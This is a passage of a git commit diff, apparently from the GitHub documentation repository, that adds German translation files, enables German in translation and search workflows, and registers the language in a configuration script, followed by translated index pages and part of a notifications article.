 create mode 100644 translations/de-DE/data/reusables/sponsors/you-can-be-a-sponsored-organization.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/your-sponsors-tab.md
 create mode 100644 translations/de-DE/data/reusables/ssh/about-ssh.md
 create mode 100644 translations/de-DE/data/reusables/ssh/add-ssh-key-to-ssh-agent.md
 create mode 100644 translations/de-DE/data/reusables/ssh/key-type-support.md
 create mode 100644 translations/de-DE/data/reusables/ssh/rsa-sha-1-connection-failure-criteria.md
 create mode 100644 translations/de-DE/data/reusables/stars/stars-page-navigation.md
 create mode 100644 translations/de-DE/data/reusables/support/ask-and-answer-forum.md
 create mode 100644 translations/de-DE/data/reusables/support/connect-in-the-forum-bootcamp.md
 create mode 100644 translations/de-DE/data/reusables/support/data-protection-and-privacy.md
 create mode 100644 translations/de-DE/data/reusables/support/enterprise-resolving-and-closing-tickets.md
 create mode 100644 translations/de-DE/data/reusables/support/entitlements-note.md
 create mode 100644 translations/de-DE/data/reusables/support/free-and-paid-support.md
 create mode 100644 translations/de-DE/data/reusables/support/ghae-priorities.md
 create mode 100644 translations/de-DE/data/reusables/support/ghes-priorities.md
 create mode 100644 translations/de-DE/data/reusables/support/github-can-modify-ticket-priority.md
 create mode 100644 translations/de-DE/data/reusables/support/help_resources.md
 create mode 100644 translations/de-DE/data/reusables/support/navigate-to-my-tickets.md
 create mode 100644 translations/de-DE/data/reusables/support/premium-support-features.md
 create mode 100644 translations/de-DE/data/reusables/support/priority-urgent-english-only.md
 create mode 100644 translations/de-DE/data/reusables/support/prodname_support_forum_with_url.md
 create mode 100644 translations/de-DE/data/reusables/support/scope-of-support.md
 create mode 100644 translations/de-DE/data/reusables/support/submit-a-ticket.md
 create mode 100644 translations/de-DE/data/reusables/support/view-open-tickets.md
 create mode 100644 translations/de-DE/data/reusables/support/zendesk-old-tickets.md
 create mode 100644 translations/de-DE/data/reusables/supported-languages/C.md
 create mode 100644 translations/de-DE/data/reusables/supported-languages/Cpp.md
 create mode 100644 translations/de-DE/data/reusables/supported-languages/Cs.md
 create mode 100644 translations/de-DE/data/reusables/supported-languages/go.md
 create mode 100644 translations/de-DE/data/reusables/supported-languages/java.md
 create mode 100644 translations/de-DE/data/reusables/supported-languages/javascript.md
 create mode 100644 translations/de-DE/data/reusables/supported-languages/php.md
 create mode 100644 translations/de-DE/data/reusables/supported-languages/products-table-header.md
 create mode 100644 translations/de-DE/data/reusables/supported-languages/python.md
 create mode 100644 translations/de-DE/data/reusables/supported-languages/ruby.md
 create mode 100644 translations/de-DE/data/reusables/supported-languages/scala.md
 create mode 100644 translations/de-DE/data/reusables/supported-languages/typescript.md
 create mode 100644 translations/de-DE/data/reusables/time_date/date_format.md
 create mode 100644 translations/de-DE/data/reusables/time_date/time_format.md
 create mode 100644 translations/de-DE/data/reusables/two_fa/2fa_not_supported_with_saml_and_cas.md
 create mode 100644 translations/de-DE/data/reusables/two_fa/about-2fa.md
 create mode 100644 translations/de-DE/data/reusables/two_fa/about-recovery-codes.md
 create mode 100644 translations/de-DE/data/reusables/two_fa/after-2fa-add-security-key.md
 create mode 100644 translations/de-DE/data/reusables/two_fa/auth_methods_2fa.md
 create mode 100644 translations/de-DE/data/reusables/two_fa/enable-two-factor-authentication.md
 create mode 100644 translations/de-DE/data/reusables/two_fa/save_your_recovery_codes_during_2fa_setup.md
 create mode 100644 translations/de-DE/data/reusables/two_fa/send-invite-to-reinstate-user-before-2fa-is-enabled.md
 create mode 100644 translations/de-DE/data/reusables/two_fa/show-recovery-codes.md
 create mode 100644 translations/de-DE/data/reusables/two_fa/support-may-not-help.md
 create mode 100644 translations/de-DE/data/reusables/two_fa/test_2fa_immediately.md
 create mode 100644 translations/de-DE/data/reusables/two_fa/username-password.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/about-commit-email-addresses.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/access_applications.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/access_authorized_oauth_apps.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/access_org.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/access_settings.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/accessibility_settings.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/account_settings.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/add_and_verify_email.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/appearance-settings.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/automatic_watching_box.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/billing_plans.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/blocked_users.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/classic-projects-api-classic-pat-only.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/codespaces-secret-repository-access.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/codespaces-secret-value.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/codespaces-tab.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/confirm_git_email_address_correct.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/confirm_git_username_correct.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/context_switcher.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/copilot-settings.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/deleted-repos.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/developer_settings.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/edit_marketplace_listing.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/emails.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/enabling-fixed-width-fonts.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/enterprise-admin-api-classic-pat-only.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/export-data.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/generate_new_token.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/generic-classic-pat-only.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/github_apps.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/github_apps_advanced.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/graphql-classic-pat-only.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/imports-api-classic-pat-only.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/jira_help_docs.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/keeping_your_email_address_private.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/link_email_with_your_account.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/marketplace_apps.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/modify_github_app.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/modify_oauth_app.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/no-verification-disposable-emails.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/notifications-api-classic-pat-only.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/notifications.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/oauth_apps.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/organizations.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/password-authentication-deprecation-desktop.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/password-authentication-deprecation.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/pat-v2-beta.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/pat-v2-org-opt-in.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/patv2-filters.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/patv2-limitations.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/payment-info-link.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/personal_access_tokens.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/personal_dashboard.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/removes-personal-access-tokens.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/repo-tab.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/restore-confirmation.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/restore-repo.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/review-oauth-apps.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/review_oauth_tokens_tip.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/saved_replies.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/security-analysis.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/security.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/select_primary_email.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/set_your_email_address_in_git.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/set_your_git_username.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/ssh.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/sudo-mode-popup.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/update-preferences.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/update_oauth_app.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/user-api.md
 create mode 100644 translations/de-DE/data/reusables/user-settings/verify-org-approved-email-domain.md
 create mode 100644 translations/de-DE/data/reusables/vs-code/open-command-palette.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/action_type_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/app_always_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/app_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/authorization_event.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/check_run_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/check_run_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/check_suite_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/check_suite_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/code_scanning_alert_event_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/code_scanning_alert_event_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/commit_comment_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/commit_comment_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/content_reference_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/content_type.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/create_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/create_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/delete_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/delete_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/deploy_key_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/deploy_key_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/deployment_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/deployment_status_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/discussion_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/discussions-webhooks-beta.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/enterprise_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/events_api_payload.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/fork_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/fork_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/gollum_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/gollum_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/installation_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/installation_repositories_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/installation_repositories_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/installation_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/issue_comment_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/issue_comment_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/issue_comment_webhook_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/issue_event_api_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/issue_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/issue_webhook_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/issues_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/label_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/member_event_api_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/member_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/member_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/member_webhook_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/membership_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/membership_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/milestone_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/milestone_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/org_block_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/org_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/org_desc_graphql.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/organization_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/package_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/page_build_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/payload_url.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/ping_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/project_card_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/project_card_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/project_column_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/project_column_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/project_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/project_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/public_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/pull_request_event_api_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/pull_request_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/pull_request_review_comment_event_api_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/pull_request_review_comment_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/pull_request_review_comment_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/pull_request_review_comment_webhook_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/pull_request_review_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/pull_request_review_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/pull_request_review_thread_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/pull_request_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/pull_request_thread_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/pull_request_webhook_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/push_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/pusher_type_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/release_event_api_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/release_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/release_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/release_webhook_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/repo_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/repo_desc_graphql.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/repository_import_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/repository_import_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/repository_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/repository_vulnerability_alert_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/repository_vulnerability_alert_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/secret.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/secret_scanning_alert_event_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/secret_scanning_alert_event_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/secret_scanning_alert_location_event_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/secret_scanning_alert_location_event_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/sender_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/sponsorship_event_api_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/sponsorship_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/sponsorship_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/sponsorship_webhook_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/star_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/star_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/status_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/team_add_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/team_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/watch_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/watch_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/webhooks-rest-api-links.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/webhooks_intro.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/webhooks_ssl.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/workflow_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/workflow_job_properties.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/workflow_job_short_desc.md
 create mode 100644 translations/de-DE/data/reusables/webhooks/workflow_run_properties.md
 create mode 100644 translations/de-DE/data/ui.yml
 create mode 100644 translations/de-DE/data/variables/README.md
 create mode 100644 translations/de-DE/data/variables/actions.yml
 create mode 100644 translations/de-DE/data/variables/command_line.yml
 create mode 100644 translations/de-DE/data/variables/contact.yml
 create mode 100644 translations/de-DE/data/variables/desktop.yml
 create mode 100644 translations/de-DE/data/variables/enterprise.yml
 create mode 100644 translations/de-DE/data/variables/explore.yml
 create mode 100644 translations/de-DE/data/variables/gists.yml
 create mode 100644 translations/de-DE/data/variables/large_files.yml
 create mode 100644 translations/de-DE/data/variables/migrations.yml
 create mode 100644 translations/de-DE/data/variables/notifications.yml
 create mode 100644 translations/de-DE/data/variables/product.yml
 create mode 100644 translations/de-DE/data/variables/projects.yml
 create mode 100644 translations/de-DE/data/variables/release_candidate.yml
 create mode 100644 translations/de-DE/data/variables/search.yml
 create mode 100644 translations/log/msft-de-resets.csv

diff --git a/.github/workflows/msft-create-translation-batch-pr.yml b/.github/workflows/msft-create-translation-batch-pr.yml
index 75b11ced38..1800ea819a 100644
--- a/.github/workflows/msft-create-translation-batch-pr.yml
+++ b/.github/workflows/msft-create-translation-batch-pr.yml
@@ -59,9 +59,9 @@ jobs:
             language_dir: translations/fr-FR
             language_repo: github/docs-internal.fr-fr
 
-          # - language: de
-          #   language_dir: translations/de-DE
-          #   language_repo: github/docs-internal.de-de
+          - language: de
+            language_dir: translations/de-DE
+            language_repo: github/docs-internal.de-de
 
     steps:
       - name: Set branch name
diff --git a/.github/workflows/sync-search-elasticsearch.yml b/.github/workflows/sync-search-elasticsearch.yml
index a02f926880..9f588d2adb 100644
--- a/.github/workflows/sync-search-elasticsearch.yml
+++ b/.github/workflows/sync-search-elasticsearch.yml
@@ -36,7 +36,7 @@ jobs:
       fail-fast: false
       matrix:
         # This needs to match the languages we support
-        language: [en, ja, es, pt, cn, ru, fr, ko]
+        language: [en, ja, es, pt, cn, ru, fr, ko, de]
     steps:
       - if: ${{ env.FREEZE == 'true' }}
         run: |
diff --git a/lib/languages.js b/lib/languages.js
index 4e72ffa10c..745ff89aa3 100644
--- a/lib/languages.js
+++ b/lib/languages.js
@@ -11,6 +11,7 @@ const possibleEnvVars = {
   'zh-CN': process.env.TRANSLATIONS_ROOT_ZH_CN,
   'ja-JP': process.env.TRANSLATIONS_ROOT_JA_JP,
   'pt-BR': process.env.TRANSLATIONS_ROOT_PT_BR,
+  'de-DE': process.env.TRANSLATIONS_ROOT_DE_DE,
   'fr-FR': process.env.TRANSLATIONS_ROOT_FR_FR,
   'ru-RU': process.env.TRANSLATIONS_ROOT_RU_RU,
   'ko-KR': process.env.TRANSLATIONS_ROOT_KO_KR,
@@ -72,6 +73,14 @@ const languages = {
     dir: getRoot('pt-BR'),
     wip: false,
   },
+  de: {
+    name: 'German',
+    nativeName: 'Deutsch',
+    code: 'de',
+    hreflang: 'de',
+    dir: getRoot('de-DE'),
+    wip: true,
+  },
   fr: {
     name: 'French',
     nativeName: 'Français',
@@ -90,7 +99,7 @@ const languages = {
   },
   ko: {
     name: 'Korean',
-    nativeName: 'Korean',
+    nativeName: '한국어',
     code: 'ko',
     hreflang: 'ko',
     dir: getRoot('ko-KR'),
diff --git a/translations/de-DE/Placeholder.txt b/translations/de-DE/Placeholder.txt
new file mode 100644
index 0000000000..3b94f91573
--- /dev/null
+++ b/translations/de-DE/Placeholder.txt
@@ -0,0 +1 @@
+Placeholder
diff --git a/translations/de-DE/content/account-and-profile/index.md b/translations/de-DE/content/account-and-profile/index.md
new file mode 100644
index 0000000000..6acdef7ba4
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/index.md
@@ -0,0 +1,50 @@
+---
+title: Dein Konto und Profil auf GitHub
+shortTitle: Account and profile
+intro: 'Stelle sicher, dass {% data variables.product.product_name %} optimal für dich funktioniert, indem du die Einstellungen für dein persönliches Konto anpasst, deine Profilseite personalisierst und die Benachrichtigungen verwaltest, die du für Aktivitäten auf {% data variables.product.prodname_dotcom %} erhältst.'
+introLinks:
+  quickstart: /get-started/onboarding/getting-started-with-your-github-account
+featuredLinks:
+  guides:
+    - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username
+    - '{% ifversion ghae %}/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard{% endif %}'
+    - /account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme
+    - '{% ifversion ghae %}/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile{% endif %}'
+    - /account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications
+  popular:
+    - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings
+    - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address
+    - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository
+    - /account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications
+  guideCards:
+    - /account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile
+    - /account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox
+    - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address
+    - '{% ifversion ghes or ghae %}/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories{% endif %}'
+changelog:
+  label: 'profiles, github-themes, notifications'
+  versions:
+    fpt: '*'
+    ghec: '*'
+layout: product-landing
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Accounts
+  - Profiles
+  - Notifications
+children:
+  - /setting-up-and-managing-your-personal-account-on-github
+  - /setting-up-and-managing-your-github-profile
+  - /managing-subscriptions-and-notifications-on-github
+ms.openlocfilehash: 922990e3a89a53f625e739650c3c3b329f1f497d
+ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: '147888460'
+---
+
diff --git a/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md b/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md
new file mode 100644
index 0000000000..89f188577d
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md
@@ -0,0 +1,28 @@
+---
+title: Abonnements und Benachrichtigungen auf GitHub verwalten
+intro: 'Du kannst angeben, wie du Benachrichtigungen erhalten möchtest, für welche Repositorys du dich interessierst und über welche Arten von Aktivitäten du informiert werden möchtest.'
+redirect_from:
+  - /categories/76/articles
+  - /categories/notifications
+  - /categories/receiving-notifications-about-activity-on-github
+  - /github/managing-subscriptions-and-notifications-on-github
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Notifications
+children:
+  - /setting-up-notifications
+  - /viewing-and-triaging-notifications
+  - /managing-subscriptions-for-activity-on-github
+shortTitle: Subscriptions & notifications
+ms.openlocfilehash: 33c5c21db5feb48ca234e2ba45173f480fb53f8f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145103112'
+---
+
diff --git a/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/index.md b/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/index.md
new file mode 100644
index 0000000000..b9b7471186
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/index.md
@@ -0,0 +1,24 @@
+---
+title: Verwaltung von Abonnements für Aktivitäten auf GitHub
+intro: 'Um nachhaltige Workflows für Benachrichtigungen zu unterhalten, verstehe und überprüfe regelmäßig Deine Abonnements.'
+redirect_from:
+  - /github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Notifications
+children:
+  - /viewing-your-subscriptions
+  - /managing-your-subscriptions
+shortTitle: Manage subscriptions
+ms.openlocfilehash: e1457283f0027dd2b668d6096e2f04273e920a71
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145086063'
+---
+
diff --git a/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md b/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md
new file mode 100644
index 0000000000..3b470c37a4
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md
@@ -0,0 +1,84 @@
+---
+title: Managing your subscriptions
+intro: 'To help you manage your notifications efficiently, there are several ways to unsubscribe.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Notifications
+redirect_from:
+  - /github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions
+  - /github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions
+shortTitle: Manage your subscriptions
+---
+To help you understand your subscriptions and decide whether to unsubscribe, see "[Viewing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions)."
+
+{% note %}
+
+**Note:** Instead of unsubscribing, you have the option to ignore a repository. If you ignore a repository, you won't receive any notifications. We don't recommend ignoring repositories as you won't be notified if you're @mentioned. {% ifversion fpt or ghec %}If you're experiencing abuse and want to ignore a repository, please contact {% data variables.contact.contact_support %} so we can help. {% data reusables.policies.abuse %}{% endif %}
+
+{% endnote %}
+
+## Choosing how to unsubscribe
+
+To unwatch (or unsubscribe from) repositories quickly, navigate to [github.com/watching](https://github.com/watching) to see all the repositories you're following. For more information, see "[Unwatching repositories](#unwatching-repositories)."
+
+To unsubscribe from multiple notifications at the same time, you can unsubscribe using your inbox or on the subscriptions page. Both of these options offer more context about your subscriptions than the "Watched repositories" page.
+
+### Benefits of unsubscribing from your inbox
+
+When you unsubscribe from notifications in your inbox, you have several other triaging options and can filter your notifications by custom filters and discussion types. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox)."
+
+### Benefits of unsubscribing from the subscriptions page
+
+When you unsubscribe from notifications on the subscriptions page, you can see more of the notifications you're subscribed to and sort them by "Most recently subscribed" or "Least recently subscribed".
+
+The subscriptions page shows you all of the notifications that you're currently subscribed to, including notifications that you have marked as **Done** in your inbox.
+
+You can only filter your subscriptions by repository and the reason you're receiving the notification.
+
+## Unsubscribing from notifications in your inbox
+
+When you unsubscribe from notifications in your inbox, they will automatically disappear from your inbox.
+
+{% data reusables.notifications.access_notifications %}
+1. From the notifications inbox, select the notifications you want to unsubscribe to.
+2. Click **Unsubscribe.**
+  ![Unsubscribe option from main inbox](/assets/images/help/notifications-v2/unsubscribe-from-main-inbox.png)
+
+## Unsubscribing from notifications on the subscriptions page
+
+{% data reusables.notifications.access_notifications %}
+1. In the left sidebar, under the list of repositories, use the "Manage notifications" drop-down to click **Subscriptions**.
+  ![Manage notifications drop down menu options](/assets/images/help/notifications-v2/manage-notifications-options.png)
+
